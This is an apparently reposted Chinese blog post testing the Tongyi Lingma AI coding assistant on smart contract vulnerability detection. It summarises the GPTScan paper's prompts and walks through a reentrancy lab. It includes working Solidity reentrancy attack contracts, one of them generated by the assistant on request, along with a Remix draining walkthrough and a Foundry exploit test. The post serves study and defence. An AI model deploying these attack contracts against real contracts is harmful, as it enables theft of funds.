【灵码助力安全3】——利用通义灵码辅助智能合约漏洞检测的尝试

前言

随着区块链技术的快速发展,智能合约作为去中心化应用(DApps)的核心组件,其重要性日益凸显。然而,智能合约的安全问题一直是制约区块链技术广泛应用的关键因素之一。由于智能合约代码一旦部署就难以更改,任何设计或实现上的漏洞都可能导致严重的后果,例如资金被盗、服务中断等。

除此之外,智能合约的漏洞类型与传统软件也不同,并不存在内存安全或者任意代码执行等问题。根据已有研究,智能合约中约80%的漏洞是无法使用机器检测的(Machine Undetectable Bugs)。这些漏洞大多与业务逻辑相关,而传统的分析方法并不考虑业务逻辑,因此无法检测出这些漏洞。

常见智能合约漏洞检测

重入攻击

重入攻击的存在源于Solidity智能合约的执行机制:每一行代码必须在下一行代码开始执行之前完成。这意味着当一个合约对外部合约进行调用时,原合约的执行会暂停,直到外部调用返回。这种机制使得被调用的合约在一段时间内能够完全控制合约的状态,从而可能引发无限循环的风险。

例如,在重入攻击中,恶意合约可以在外部调用尚未完成时,递归地回调原合约,以连续提取资源。这种情况下,原合约在完成其功能之前不应更新自己的余额或其他关键状态变量。重入攻击的形式多样,包括但不限于单功能重入、跨功能重入、跨合约重入以及只读重入攻击。这些攻击方式利用了合约在执行外部调用期间的脆弱性,导致合约资金或其他资源被非法获取。

预言机操纵

智能合约依赖于预言机(oracle)来获取区块链外部的数据,从而能够与链下系统(如股票市场、汇率等)进行交互。然而,如果预言机提供的数据不准确或被恶意操纵,就可能导致智能合约错误执行,这就是所谓的“预言机问题”。这种情况已经成为了许多去中心化金融(DeFi)应用程序中的常见安全威胁,其中最常见的攻击手法之一便是闪电贷款攻击。

闪电贷款是一种特殊的无抵押贷款形式,允许借款人在同一笔交易中借入大量资金,并要求在该交易结束前偿还。由于整个过程在一个区块内完成,如果借款人未能按时偿还,则交易自动回滚,不会对区块链状态造成影响。攻击者利用闪电贷款来迅速借入大量资金,通过一系列快速交易人为扭曲资产价格,从中牟取利润,同时确保所有操作都在区块链规则允许的范围内进行。

这种攻击手法不仅影响市场的公平性,还可能导致智能合约出现非预期的行为,进而给用户带来损失。

整数溢出和下溢

整数溢出和下溢是智能合约开发中常见的安全风险之一,尤其是在进行数值运算时尤为突出。这些漏洞往往发生在数值运算的结果超过了整数类型所能表示的最大或最小值的情况下。

整数溢出 发生在当两个正整数相加的结果超出了该整数类型的上限时。例如,在以太坊智能合约常用的编程语言 Solidity 中,uint256 类型可以存储从 0 到 2^256 - 1 的无符号整数。如果两个 uint256 变量相加后超过了这个最大值,那么实际结果将从该类型的最大值回绕到零,并继续向上计数,这种现象就称为溢出。在涉及到货币或积分等价值度量的情况下,这种错误可能导致严重的后果,比如资金被盗或者合约中的资产被不当转移。

整数下溢 是指当一个较大的正整数减去一个更大的正整数时,结果将超出该类型的最小值,通常为零(对于无符号整数而言)。在 Solidity 中,uint256 类型的变量无法表示负数,因此,任何导致此类变量小于零的操作都会引发异常并终止交易。但对于有符号整数类型如 int256,则可能会出现从最小负值直接跳转到最大正值的情况,即下溢。

时间戳依赖性

时间戳依赖性是智能合约中常见的安全漏洞,尤其是在合约逻辑需要依赖于时间信息时。区块时间戳是由矿工设定的,用来表示区块创建的时间点。然而,矿工可以有一定的自由度来调整时间戳,这就会导致合约中的时间相关逻辑变得不可预测。

当智能合约依赖于区块时间戳来进行某些操作,如判断竞拍结束时间、合约到期日期或是触发特定事件时,矿工可以通过调整时间戳来影响合约的行为。例如,假设一个竞拍合约使用时间戳来确定竞拍结束的时间,矿工可以通过提前时间戳来使竞拍提前结束,或者延迟时间戳来延长竞拍期,从而影响竞拍结果。

此外,由于区块时间戳并不是一个精确的时间度量工具,它可能受到网络延迟、矿工的主观选择等因素的影响,导致合约中的时间敏感操作出现异常。例如,合约可能预期在一个确切的时间点执行某项操作,但由于时间戳的波动,实际执行时间可能会有所不同,从而导致合约状态或行为不符合预期。

利用通义灵码辅助检测及利用重入漏洞

本部分参考了南洋理工大学的论文《When GPT Meets Program Analysis: Towards Intelligent Detection of Smart Contract Logic Vulnerabilities in GPTScan》,学习借鉴了该论文中的prompt及部分规则设计。

重入漏洞的关键点之一是存在外部调用函数,就是如下所示的msg.sender.call(转账),以及转账的顺序——先更新余额还是先进行转账

首先我们利用普通状态下的通义灵码测试对智能合约代码进行漏洞检测

放入一段具有很明显重入攻击特征的代码

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;contract Bank {mapping (address => uint) public balances; // 账户 => 余额// 存钱函数function desposit() public payable { require(msg.value >0, "save money cannot be zero");balances[msg.sender] += msg.value;}// 取钱函数function withdraw() public{require(balances[msg.sender] >0,"balance is not exists");(bool success,) =   msg.sender.call{value:balances[msg.sender]}(""); // 递归下面的操作必须等待递归之后才能执行balances[msg.sender] = 0; // 置0 操作}// 查看账户余额function getBalance() public view  returns(uint){return balances[msg.sender];}}contract Attack {Bank public bank;constructor( address _bankAddress){bank = Bank(_bankAddress);}// 攻击函数function attack() public payable {bank.desposit{value:msg.value}();bank.withdraw();}receive() external payable {if(address(bank).balance >0){ //如果银行合约还有钱持续调用bank.withdraw();}}
}

这段代码包含两个合约:Bank 和 Attack。Bank 合约允许用户存入和提取以太币,并能够查询账户余额。Attack 合约则用于与 Bank 合约交互,通过存款和提取操作实现资金的转移。

依然像前两篇文章那样,全选代码告知,让灵码进行漏洞检测

已知该部分代码存在漏洞,请帮忙进行检测

此时可以发现,灵码能够识别出基本的重入攻击,并且进行了基础的拼写检查、冗余检查、潜在的安全风险检查

image.png

可以看到灵码提出了一种修复方式:

函数的执行会消耗gas,如果可支付gas不满足递归消耗的gas,从而报错进行合约状态回滚。在灵码中给出的 transfer 或 send 方法 都是可以有效防止重入的

  • transfer():发送失败则回滚交易状态,只传递 2300 Gas 供调用,防止重入。

  • send():发送失败则返回 false,只传递 2300 Gas 供调用,防止重入。

  • call():发送失败返回 false,会传递所有可用 Gas 给予外部合约 fallback() 调用;可通过 { value: money } 限制 Gas,不能有效防止重入。

但是显然,对照人工审计结果,除了上述之外,还有更好的方式来进一步强化这段代码的安全性,所以,为了验证灵码是否具备针对重入漏洞的高级优化能力,我没有告知而是直接让其进行优化操作:

我想进一步提高该部分代码的安全性,请你帮忙进行优化

不负众望,灵码确实也是给出了另一种比较好的解决方法:

image.png

先账户置0,就算转账触发递归,再次取钱 ,由于账户余额小于0,会直接抛异常。(当攻击这利用Attack合约攻击已修复好Bank合约,按道理能触发递归,接着会报 “balance is not exists”,但是他却能正常执行,但是重入没触发,钱存到Bank里,没有拿回来。)

除了上述两种,还可以通过添加互斥锁来实现,第一去取钱,状态变量修改为true,从而将函数锁住,必须等这次函数执行完毕,才能重新对函数进行调用,这块虽然灵码暂时没有提到,但是后面在我引导下还是成功指出了这种方法

总的来说,效果还是很不错的,下面我们以实际的靶场为例,尝试采用通义灵码来检测和利用重入漏洞

靶场描述如下:

EtherStore 的重入漏洞是指智能合约设计中的一个缺陷,该缺陷允许攻击者利用重入特性从 EtherStore 合约中提取比他们有权获得的更多的资金。此漏洞源于 EtherStore 合约中的 withdrawFunds 函数,在更新账户余额之前会先将以太币转移到攻击者的地址。这使得攻击者的合约可以在余额更新之前回调 withdrawFunds 函数,导致多次提款,并有可能耗尽 EtherStore 合约中的所有以太币。

EtherStore 是一个简单的金库,它可以管理每个人的以太币。但它存在漏洞,你能窃取所有的以太币吗?

给出的EtherStore部分代码如下:

contract EtherStore {mapping(address => uint256) public balances;function deposit() public payable {balances[msg.sender] += msg.value;}function withdrawFunds(uint256 _weiToWithdraw) public {require(balances[msg.sender] >= _weiToWithdraw);(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");require(send, "send failed");// check if after send still enough to avoid underflowif (balances[msg.sender] >= _weiToWithdraw) {balances[msg.sender] -= _weiToWithdraw;}}
}

结合我上面的示例代码,相信可以显而易见的看出此处就是存在重入漏洞的,我们让灵码帮忙给出一个攻击合约和一个测试合约,其中攻击合约能够使用**msg.sender.call{value: _weiToWithdraw}(“”)**来进行多次转入;测试合约能够验证攻击是否成功。

已知EtherStore合约如下,请你给出EtherStoreAttack攻击合约,帮助有效验证EtherStore合约中的漏洞。

给出的完整攻击合约如下:

pragma solidity ^0.8.0;interface IEtherStore {function deposit() external payable;function withdrawFunds(uint256 _weiToWithdraw) external;
}contract EtherStoreAttack {IEtherStore public etherStore;constructor(address _etherStoreAddress) {etherStore = IEtherStore(_etherStoreAddress);}// Fallback function is called when EtherStore sends Ether to this contractreceive() external payable {if (address(etherStore).balance >= 1 ether) {// Re-enter the withdrawFunds functionetherStore.withdrawFunds(1 ether);}}// Function to deposit funds into EtherStorefunction attack() external payable {require(msg.value >= 1 ether, "Need at least 1 ether to attack");etherStore.deposit{value: msg.value}();etherStore.withdrawFunds(1 ether);}// Helper function to withdraw all Ether from this contractfunction withdrawAll() external {selfdestruct(payable(msg.sender));}// Helper function to check the balance of this contractfunction getBalance() external view returns (uint256) {return address(this).balance;}
}

我们对比原版给出的攻击合约,发现还是有一些差异的,原版中增加了很多详细的日志输出,比较友好:

image.png

下面进入到remix中进行编译并尝试分析攻击步骤,大致步骤如下:

  1. 攻击者将以太币存入银行合约

  2. 银行合约就会根据存入的以太币而更新攻击者的余额

  3. 攻击者提现,拿回资金

  4. 资金转移到攻击者的合约上

  5. 此时攻击者的回调函数(fallback或者receive)被触发,函数调用提现方法

  6. 智能合约的逻辑里提现方法又被调用

  7. 资金发送到攻击者

  8. 第5-7步不断重复,不会触发更新用户余额,直到触发gas限制或银行合约里的ETH余额为0

  9. 最后才更新余额

尝试复现,一开始,假设合约原本有50个ETH

image.png

根据刚才的攻击合约,调用deposit转入1ETH,攻击合约有1ETH

image.png

调用attack,设置这个gas为超大,使其能够尽可能的发起最多次的重入。ETH全部被攻击者重入获取

image.png
image.png

实际上共消耗了这么多的gas fee 483672+467408

image.png

调用attack.withdraw,将ETH转到攻击者的钱包中,攻击者的钱包余额增加。

image.png

这里我们还是回到foundary中来测试漏洞,验证脚本还是采用的官方的sol文件:

pragma solidity ^0.8.18;
import "forge-std/Test.sol";
contract EtherStore {mapping(address => uint256) public balances;function deposit() public payable {balances[msg.sender] += msg.value;}function withdrawFunds(uint256 _weiToWithdraw) public {require(balances[msg.sender] >= _weiToWithdraw);(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");require(send, "send failed");// check if after send still enough to avoid underflowif (balances[msg.sender] >= _weiToWithdraw) {balances[msg.sender] -= _weiToWithdraw;}}
}contract EtherStoreRemediated {mapping(address => uint256) public balances;bool internal locked;modifier nonReentrant() {require(!locked, "No re-entrancy");locked = true;_;locked = false;}function deposit() public payable {balances[msg.sender] += msg.value;}function withdrawFunds(uint256 _weiToWithdraw) public nonReentrant {require(balances[msg.sender] >= _weiToWithdraw);balances[msg.sender] -= _weiToWithdraw;(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");require(send, "send failed");}
}contract ContractTest is Test {EtherStore store;EtherStoreRemediated storeRemediated;EtherStoreAttack attack;EtherStoreAttack attackRemediated;function setUp() public {store = new EtherStore();storeRemediated = new EtherStoreRemediated();attack = new EtherStoreAttack(address(store));attackRemediated = new EtherStoreAttack(address(storeRemediated));vm.deal(address(store), 5 ether);vm.deal(address(storeRemediated), 5 ether);vm.deal(address(attack), 2 ether);vm.deal(address(attackRemediated), 2 ether);}function testReentrancy() public {attack.Attack();}function testFailRemediated() public {attackRemediated.Attack();}
}contract EtherStoreAttack is Test {EtherStore store;constructor(address _store) {store = EtherStore(_store);}function Attack() public {console.log("EtherStore balance", address(store).balance);store.deposit{value: 1 ether}();console.log("Deposited 1 Ether, EtherStore balance",address(store).balance);store.withdrawFunds(1 ether); // exploit hereconsole.log("Attack contract balance", address(this).balance);console.log("EtherStore balance", address(store).balance);}// fallback() external payable {}// we want to use fallback function to exploit reentrancyreceive() external payable {console.log("Attack contract balance", address(this).balance);console.log("EtherStore balance", address(store).balance);if (address(store).balance >= 1 ether) {store.withdrawFunds(1 ether); // exploit here}}
}

具体解析如下:

EtherStore 合约

contract EtherStore {mapping(address => uint256) public balances;function deposit() public payable {balances[msg.sender] += msg.value;}function withdrawFunds(uint256 _weiToWithdraw) public {require(balances[msg.sender] >= _weiToWithdraw);(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");require(send, "send failed");// check if after send still enough to avoid underflowif (balances[msg.sender] >= _weiToWithdraw) {balances[msg.sender] -= _weiToWithdraw;}}
}
  • balances:一个映射,存储每个地址的余额。

  • deposit:允许用户存入以太币,增加其余额。

  • withdrawFunds:允许用户提取以太币。问题在于,转账操作在更新余额之前执行,这使得攻击者可以通过回调函数(如 receive)重新进入 withdrawFunds 方法,从而多次提取资金。

EtherStoreRemediated 合约

contract EtherStoreRemediated {mapping(address => uint256) public balances;bool internal locked;modifier nonReentrant() {require(!locked, "No re-entrancy");locked = true;_;locked = false;}function deposit() public payable {balances[msg.sender] += msg.value;}function withdrawFunds(uint256 _weiToWithdraw) public nonReentrant {require(balances[msg.sender] >= _weiToWithdraw);balances[msg.sender] -= _weiToWithdraw;(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");require(send, "send failed");}
}
  • balances:一个映射,存储每个地址的余额。

  • locked:一个布尔变量,用于防止重入攻击。

  • nonReentrant:一个修饰器,确保函数在执行期间不会被重入。

  • deposit:允许用户存入以太币,增加其余额。

  • withdrawFunds:允许用户提取以太币。使用 nonReentrant 修饰器确保在转账操作前更新余额,防止重入攻击。

ContractTest 测试合约

contract ContractTest is Test {EtherStore store;EtherStoreRemediated storeRemediated;EtherStoreAttack attack;EtherStoreAttack attackRemediated;function setUp() public {store = new EtherStore();storeRemediated = new EtherStoreRemediated();attack = new EtherStoreAttack(address(store));attackRemediated = new EtherStoreAttack(address(storeRemediated));vm.deal(address(store), 5 ether);vm.deal(address(storeRemediated), 5 ether);vm.deal(address(attack), 2 ether);vm.deal(address(attackRemediated), 2 ether);}function testReentrancy() public {attack.Attack();}function testFailRemediated() public {attackRemediated.Attack();}
}
  • setUp:初始化合约实例,并给它们分配一些以太币。

  • testReentrancy:调用攻击合约的 Attack 方法,验证 EtherStore 合约是否容易受到重入攻击。

  • testFailRemediated:调用攻击合约的 Attack 方法,验证 EtherStoreRemediated 合约是否能够防止重入攻击。

EtherStoreAttack 攻击合约

contract EtherStoreAttack is Test {EtherStore store;constructor(address _store) {store = EtherStore(_store);}function Attack() public {console.log("EtherStore balance", address(store).balance);store.deposit{value: 1 ether}();console.log("Deposited 1 Ether, EtherStore balance",address(store).balance);store.withdrawFunds(1 ether); // exploit hereconsole.log("Attack contract balance", address(this).balance);console.log("EtherStore balance", address(store).balance);}// fallback() external payable {}// we want to use fallback function to exploit reentrancyreceive() external payable {console.log("Attack contract balance", address(this).balance);console.log("EtherStore balance", address(store).balance);if (address(store).balance >= 1 ether) {store.withdrawFunds(1 ether); // exploit here}}
}
  • store:存储 EtherStore 合约的地址。

  • Attack:攻击函数,首先存入 1 以太币,然后调用 withdrawFunds 方法进行重入攻击。

  • receive:回调函数,当 EtherStore 合约向攻击合约发送以太币时触发。如果 EtherStore 合约的余额大于等于 1 以太币,再次调用 withdrawFunds 方法进行重入攻击。

    image.png

利用通义灵码辅助检测溢出漏洞

溢出漏洞是每个在接触合约安全最先接触到的漏洞,没有之一,同时也是最简单的漏洞。溢出分为上溢和下溢,并且该漏洞在solidity8.0引入了检查,基本消失,为什么是基本消失呢?因为还有极少场景还是能溢出,后面的漏洞会提到。

该漏洞的溢出问题是:存在用户可自定义增加锁仓时间可让时间进行溢出,使其能够提前取出存放的ETH。

我们提供一段代码给灵码进行漏洞检测:

pragma solidity ^0.8.18;/*** @title TimeLock* @dev 这是一个时间锁合约,用于锁定用户的 ETH 并在指定时间后解锁。*/
contract TimeLock {// 存储每个地址的余额mapping(address => uint) public balances;// 存储每个地址的锁定期限mapping(address => uint) public lockTime;/*** @dev 存款函数,接受 ETH 并锁定 1 周。*/function deposit() external payable {require(msg.value > 0, "Deposit value must be greater than 0");balances[msg.sender] += msg.value;lockTime[msg.sender] = block.timestamp + 1 weeks; // 锁定时间为当前区块时间加上 1 周}/*** @dev 允许用户增加自己的锁定期限。* @param _secondsToIncrease 要增加的秒数。* @dev 注意:此函数存在潜在的安全风险,因为用户可以无限增加锁定期限。*/function increaseLockTime(uint _secondsToIncrease) public {lockTime[msg.sender] += _secondsToIncrease; // 增加锁定期限}/*** @dev 取款函数,允许用户在锁定期限过后提取 ETH。*/function withdraw() public {require(balances[msg.sender] > 0, "Insufficient funds"); // 检查余额是否大于 0require(block.timestamp > lockTime[msg.sender], "Lock time not expired"); // 检查锁定期限是否已过uint amount = balances[msg.sender]; // 获取用户的余额balances[msg.sender] = 0; // 将余额设置为 0,表示钱已取出(bool sent, ) = msg.sender.call{value: amount}(""); // 使用 call 方法发送 ETHrequire(sent, "Failed to send Ether"); // 确保 ETH 发送成功}
}

给出prompt:

已知该部分代码存在漏洞,请帮忙进行检测

image.png

可以看到,对于关键函数漏洞的识别还是很准确的,下面我们回到论文中去尝试解读一下它的总体逻辑,看看有没有办法将这套逻辑沿用到灵码上

论文部分

论文地址为:https://arxiv.org/pdf/2308.03314

在论文中,有提到类似于价格操纵的漏洞:

image.png

在上面这个例子中,从代码层面来看其实是不存在漏洞的,但是在业务逻辑层面却存在一些漏洞点:第18-21行的get Price()函数使用余额的比例来计算价格,但金额很可能是容易被操纵的(例如flashloan),从而价格也很容易被操纵

那么未经调教的灵码能否识别到这个呢?我们来尝试一下

image.png

通过上述可以看到,灵码能够较好的识别到隐藏的逻辑漏洞,并且给出一些修复建议,毕竟距离这篇论文撰写完成时间已经过去了一年多了,这期间大模型的进步还是太快了

进行了一些基础的测试和分析后,下面我们还是回到论文中去看看他们提出的工作流

image.png

上图主要表明了GPTScan的高级工作流,蓝色块表示大模型提供的能力,绿色块表示静态分析。当给定一个智能合约项目,它可以是一个独立的Solidity文件或包含多个Solidity文件的基于框架的合约项目,GPTScan首先进行合约解析,调用图分析确定函数可达性,综合过滤提取候选函数及其对应的上下文函数。然后利用GPT将候选函数与预先抽象的场景和相关漏洞类型的属性进行匹配。对于匹配的函数,GPTScan通过GPT进一步识别其关键变量和语句,随后将其传递给专门的静态分析模块以确认漏洞。

image.png

GPTScan采用了一种不同的方法,将漏洞类型分解为代码级的场景和属性。具体地,它使用场景描述逻辑漏洞可能发生的代码功能,使用属性来解释易受攻击的代码属性或操作。上图展示了如何将10种常见的逻辑漏洞类型分解为场景和属性。这些漏洞类型是从最近的一项研究中选择的关于需要高级语义oracle的智能合约漏洞。

image.png

这里是一个比较关键的prompt模板,主要内容是:

系统:你是一个智能合约审计员。你会被问到与代码属性相关的问题。你可以在后台模拟回答五次,然后给我提供出现频率最高的答案。此外,请严格遵守问题中指定的输出格式,无需解释你的答案。

情景匹配:根据下面的智能合约代码,回答下面的问题,并以JSON格式组织结果,如
{“1”:“是"或"否”,“2”:“是"或者"否”}
“1”:[%场景_1%]?
“2”:[%场景_2%]?
[%代码%]

属性匹配:下列智能合约是否"[%场景,属性(漏洞成因)%]“?仅回答"是"或"否”
[%代码%]

此处也有几个关键点需要注意:

  • 通过prompt的设计,多获得结构化的输出

  • 匹配scenario时,使用多项选择来快速匹配多个可能的选项

  • 匹配property时,每个单独匹配,来减少其他选项带来的干扰

第二个关键的prompt模板如下:

image.png

这边主要是通过prompt的设计,获得结构化的输出,针对每一项输出的描述,查找对应的变量/表达式

总结

通过本次测试来看,利用灵码技术在智能合约漏洞检测方面确实能够发挥一些作用。对比论文中采用GPT3.5制作的GPTScan工具,实验结果表明,在使用灵码的前提下,即便没有增加对应的前置提示(prompt),系统也能够成功识别到隐藏的逻辑漏洞,而且这种检测方法可能具有更高的准确率和更低的误报率,因为它直接针对代码的行为模式进行分析。

而结合靶场看,利用灵码进行攻击合约或者说EXP编写时,还是有很多不足之处,在生成具体的攻击向量时,其有效性和效率可能会受到限制,再加上对于漏洞的具体机制无法准确理解,所以才导致了最终利用脚本存在缺陷。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/66960.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

腾讯云下架印度云服务器节点,印度云服务器租用何去何从

近日&#xff0c;腾讯云下架印度云服务器节点的消息引起了业界的广泛关注。这一变动让许多依赖印度云服务器的用户开始担忧&#xff0c;印度云服务器租用的未来究竟在何方&#xff1f; 从印度市场本身来看&#xff0c;其云服务市场的潜力不容小觑。据 IDC 报告&#xff0c;到 2…

【RTSP】使用webrtc播放rtsp视频流

一、简介 rtsp流一般是监控、摄像机的实时视频流,现在的主流浏览器是不支持播放rtsp流文件的,所以需要借助其他方案来播放实时视频,下面介绍下我采用的webrtc方案,实测可行。 二、webrtc-streamer是什么? webrtc-streamer是一个使用简单机制通过 WebRTC 流式传输视频捕获…

多并发发短信处理(头条项目-07)

1 pipeline操作 Redis数据库 Redis 的 C/S 架构&#xff1a; 基于客户端-服务端模型以及请求/响应协议的 TCP服务。客户端向服务端发送⼀个查询请求&#xff0c;并监听Socket返回。通常是以 阻塞模式&#xff0c;等待服务端响应。服务端处理命令&#xff0c;并将结果返回给客…

【网络协议】动态路由协议

前言 本文将概述动态路由协议&#xff0c;定义其概念&#xff0c;并了解其与静态路由的区别。同时将讨论动态路由协议相较于静态路由的优势&#xff0c;学习动态路由协议的不同类别以及无类别&#xff08;classless&#xff09;和有类别&#xff08;classful&#xff09;的特性…

c#集成npoi根据excel模板导出excel

NuGet中安装npoi 创建excel模板&#xff0c;替换其中的内容生成新的excel文件。 例子中主要写了这四种情况&#xff1a; 1、替换单个单元格内容&#xff1b; 2、替换横向多个单元格&#xff1b; 3、替换表格&#xff1b; 4、单元格中插入图片&#xff1b; using System.IO; …

人工智能知识分享第十天-机器学习_聚类算法

聚类算法 1 聚类算法简介 1.1 聚类算法介绍 一种典型的无监督学习算法&#xff0c;主要用于将相似的样本自动归到一个类别中。 目的是将数据集中的对象分成多个簇&#xff08;Cluster&#xff09;&#xff0c;使得同一簇内的对象相似度较高&#xff0c;而不同簇之间的对象相…

B树及其Java实现详解

文章目录 B树及其Java实现详解一、引言二、B树的结构与性质1、节点结构2、性质 三、B树的操作1、插入操作1.1、插入过程 2、删除操作2.1、删除过程 3、搜索操作 四、B树的Java实现1、节点类实现2、B树类实现 五、使用示例六、总结 B树及其Java实现详解 一、引言 B树是一种多路…

本地缓存:Guava Cache

这里写目录标题 一、范例二、应用场景三、加载1、CacheLoader2、Callable3、显式插入 四、过期策略1、基于容量的过期策略2、基于时间的过期策略3、基于引用的过期策略 五、显示清除六、移除监听器六、清理什么时候发生七、刷新八、支持更新锁定能力 一、范例 LoadingCache<…

【高录用 | 快见刊 | 快检索】第十届社会科学与经济发展国际学术会议 (ICSSED 2025)

第十届社会科学与经济发展国际学术会议(ICSSED 2025)定于2025年2月28日-3月2日在中国上海隆重举行。会议主要围绕社会科学与经济发展等研究领域展开讨论。会议旨在为从事社会科学与经济发展研究的专家学者提供一个共享科研成果和前沿技术&#xff0c;了解学术发展趋势&#xff…

[ComfyUI]接入Google的Whisk,巨物融合玩法介绍

一、介紹​ 前段时间&#xff0c;谷歌推出了一个图像生成工具whisk&#xff0c;有一个很好玩的图片融合玩法&#xff0c;分别提供三张图片,就可以任何组合来生成图片。​ ​ 最近我发现有人开发了对应的ComfyUI插件&#xff0c;对whisk做了支持&#xff0c;就来体验了下&#…

模式识别与机器学习

文章目录 考试题型零、简介1.自学内容(1)机器学习(2)机器学习和统计学中常见的流程(3)导数 vs 梯度(4)KL散度(5)凸优化问题 2.基本概念3.典型的机器学习系统4.前沿研究方向举例 一、逻辑回归1.线性回归2.逻辑回归3.随堂练习 二、贝叶斯学习基础1.贝叶斯公式2.贝叶斯决策3.分类器…

nginx负载均衡-基于端口的负载均衡(一)

注意&#xff1a; (1) 做负载均衡技术至少需要三台服务器&#xff1a;一台独立的负载均衡器&#xff0c;两台web服务器做集群 一、nginx分别代理后端web1 和 web2的三台虚拟主机 1、web1&#xff08;nginx-10.0.0.7&#xff09;配置基于端口的虚拟主机 [rootOldboy extra]# …

【ArcGIS微课1000例】0138:ArcGIS栅格数据每个像元值转为Excel文本进行统计分析、做图表

本文讲述在ArcGIS中,以globeland30数据为例,将栅格数据每个像元值转为Excel文本,便于在Excel中进行统计分析。 文章目录 一、加载globeland30数据二、栅格转点三、像元值提取至点四、Excel打开一、加载globeland30数据 打开配套实验数据包中的0138.rar中的tif格式栅格土地覆…

智能安全帽_4G/5G智能安全帽主板方案定制开发

智能安全帽是一种先进的安全防护设备&#xff0c;主要以视频和语音通话为功能&#xff0c;能够全面记录施工现场的作业情况&#xff0c;并支持管理人员与现场工作人员之间的双向语音通话。这一创新设计使得项目管理人员能够实时、有效地掌握施工过程中的安全和质量情况。 这款智…

uniApp通过xgplayer(西瓜播放器)接入视频实时监控

&#x1f680; 个人简介&#xff1a;某大型国企资深软件开发工程师&#xff0c;信息系统项目管理师、CSDN优质创作者、阿里云专家博主&#xff0c;华为云云享专家&#xff0c;分享前端后端相关技术与工作常见问题~ &#x1f49f; 作 者&#xff1a;码喽的自我修养&#x1f9…

基于RK3568/RK3588大车360度环视影像主动安全行车辅助系统解决方案,支持ADAS/DMS

产品设计初衷 HS-P2-2D是一款针对大车盲区开发的360度全景影像 安全行车辅助系统&#xff0c;通过车身四周安装的超广角像机&#xff0c;经算法合成全景鸟瞰图&#xff0c;通过鸟瞰图&#xff0c;司机非常清楚的看清楚车辆四周情况&#xff0c;大大降低盲区引发的交通事故。 产…

树的模拟实现

一.链式前向星 所谓链式前向星&#xff0c;就是用链表的方式实现树。其中的链表是用数组模拟实现的链表。 首先我们需要创建一个足够大的数组h&#xff0c;作为所有结点的哨兵位。创建两个足够大的数组e和ne&#xff0c;一个作为数据域&#xff0c;一个作为指针域。创建一个变…

【C++入门】详解(中)

目录 &#x1f495;1.函数的重载 &#x1f495;2.引用的定义 &#x1f495;3.引用的一些常见问题 &#x1f495;4.引用——权限的放大/缩小/平移 &#x1f495;5. 不存在的空引用 &#x1f495;6.引用作为函数参数的速度之快&#xff08;代码体现&#xff09; &#x1f4…

《Opencv》图像的旋转

一、使用numpy库实现 np.rot90(img,-1) 后面的参数为-1时事顺时针旋转&#xff0c;为1时是逆时针旋转。 import cv2 import numpy as np img cv2.imread(./images/kele.png) """方法一""" # 顺时针90度 rot_1 np.rot90(img,-1) # 逆时针90度…

CES 2025|全面拥抱端侧AI,美格智能在CES发布系列创新成果

要点&#xff1a; ▶ 在AI机器人领域&#xff0c;以高算力AI模组助力发布“通天晓”人形机器人和2款全新微小型AI机器人 ▶ 在AI硬件领域&#xff0c;发布消费级AI智能体产品——AIMO&#xff0c;引领个人专属的大模型时代 ▶ 在5G通信领域&#xff0c;发布全新5GWiFi-7 CPE…